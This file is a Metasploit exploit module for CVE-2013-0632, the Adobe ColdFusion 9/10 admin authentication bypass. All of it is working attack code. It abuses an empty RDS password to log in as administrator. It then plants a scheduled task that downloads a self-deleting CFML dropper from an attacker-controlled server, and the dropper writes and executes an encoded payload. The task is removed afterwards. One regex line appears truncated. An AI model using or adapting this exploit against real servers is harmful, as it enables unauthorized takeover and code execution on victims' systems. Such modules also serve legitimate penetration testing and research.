require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
Rank = GreatRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe ColdFusion 9 Administrative Login Bypass',
'Description' => %q{
Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote attackers to bypass authentication using the RDS component. Its password can
by default or by misconfiguration be set to an empty value. This allows you to create a session via the RDS login that
can be carried over to the admin web interface even though the passwords might be different. Therefore bypassing
authentication on the admin web interface which then could lead to arbitrary code execution.
Tested on Windows and Linux with ColdFusion 9.
},
'Author' =>
[
'Scott Buckel',
'Mekanismen <mattias[at]gotroot.eu>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ "CVE", "2013-0632" ],
[ "EDB", "27755" ],
[ "URL", "http://www.adobe.com/support/security/bulletins/apsb13-03.html" ]
],
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Platform' => ['win', 'linux'],
'Targets' =>
[
[ 'Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 08 2013'
))
register_options(
[
OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', "" ]),
OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
], self.class)
register_advanced_options(
[
OptString.new('CFIDDIR', [ true, 'Alternative CFIDE directory', 'CFIDE'])
])
end
def check
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),
})
if res and res.code == 200 and res.body.to_s =~ /ColdFusion Administrator Login/
print_good "#{peer} - Administrator access available"
else
return Exploit::CheckCode::Safe
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'images', 'loginbackground.jpg')
})
img = Rex::Text.md5(res.body.to_s)
imghash = "596b3fc4f1a0b818979db1cf94a82220"
if img == imghash
print_good "#{peer} - ColdFusion 9 Detected"
else
return Exploit::CheckCode::Safe
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
'vars_post' => {
'method' => "login",
'adminpassword' => "",
'rdsPasswordAllowed' => "1"
}
})
if res and res.code == 200 and res.body.to_s =~ /true/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
@pl = gen_file_dropper
@payload_url = ""
if datastore['EXTURL'].blank?
begin
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
end
exec_payload
else
@payload_url = datastore['EXTURL']
upload_payload
exec_payload
end
end
def primer
@payload_url = get_uri
upload_payload
end
def on_request_uri(cli, request)
if request.uri =~ /
send_response(cli, @pl)
end
end
def gen_file_dropper
rand_var = rand_text_alpha(8+rand(8))
rand_file = rand_text_alpha(8+rand(8))
if datastore['TARGET'] == 0
rand_file += ".exe"
end
encoded_pl = Rex::Text.encode_base64(generate_payload_exe)
print_status "Building CFML shell..."
shell = ""
shell += " <cfset #{rand_var} = ToBinary( \"#{encoded_pl}\" ) />"
shell += " <cffile action=\"write\" output=\"##{rand_var}#\""
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
if datastore['TARGET'] == 1
shell += " mode = \"700\""
end
shell += "/>"
shell += " <cffile action=\"delete\""
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,\"/\")#\"/>"
shell += " <cfexecute"
shell += " name = \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
shell += " arguments = \"\""
shell += " timeout = \"60\"/>"
return shell
end
def exec_payload
uri = target_uri.path
print_status("#{peer} - Our payload is at: #{peer}\\#{datastore['CFIDDIR']}\\#{@filename}")
print_status("#{peer} - Executing payload...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], @filename)
})
end
def upload_payload
uri = target_uri.path
@filename = rand_text_alpha(8+rand(8)) + ".cfm"
taskname = rand_text_alpha(8+rand(8))
print_status "#{peer} - Trying to upload payload via scheduled task..."
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
'vars_post' => {
'method' => "login",
'adminpassword' => "",
'rdsPasswordAllowed' => "1"
}
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - RDS component was unreachable")
end
cookie = res.get_cookies
if res and res.code == 200 and cookie =~ /CFAUTHORIZATION_cfadmin=;(.*)/
cookie = $1
else
fail_with(Failure::Unknown, "#{peer} - Unable to get auth cookie")
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),
'cookie' => cookie
})
if res and res.code == 200 and res.body.to_s =~ /ColdFusion Administrator Login/
print_good("#{peer} - Logged in as Administrator!")
else
fail_with(Failure::Unknown, "#{peer} - Login Failed")
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'settings', 'mappings.cfm'),
'vars_get' => {
'name' => "/CFIDE"
},
'cookie' => cookie
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Mappings URL was unreachable")
end
if res.body =~ /<input type="text" maxlength="550" name="directoryPath" value="(.*)" size="40" id="dirpath">/
file_path = $1
print_good("#{peer} - File path disclosed! #{file_path}")
else
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
end
print_status("#{peer} - Adding scheduled task")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduleedit.cfm'),
'vars_post' => {
'TaskName' => taskname,
'Start_Date' => "Nov 1, 2420",
'End_Date' => "",
'Interval' => "",
'ScheduleType' => "Once",
'Operation' => "HTTPRequest",
'ScheduledURL' => @payload_url,
'publish' => "1",
'publish_file' => "#{file_path}\\#{@filename}",
'adminsubmit' => "Submit"
},
'cookie' => cookie
})
unless res and res.code == 200 or res.code == 302
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
end
print_status("#{peer} - Running scheduled task")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
'vars_get' => {
'runtask' => taskname,
'timeout' => "0"
},
'cookie' => cookie
})
if res and res.code == 200 and res.body.to_s =~ /This scheduled task was completed successfully/
print_good("#{peer} - Scheduled task completed successfully")
else
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
end
print_status("#{peer} - Deleting scheduled task")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
'vars_get' => {
'action' => "delete",
'task' => taskname
},
'cookie' => cookie
})
unless res and res.code == 200
print_error("#{peer} - Scheduled task deletion failed, cleanup might be needed!")
end
end
end
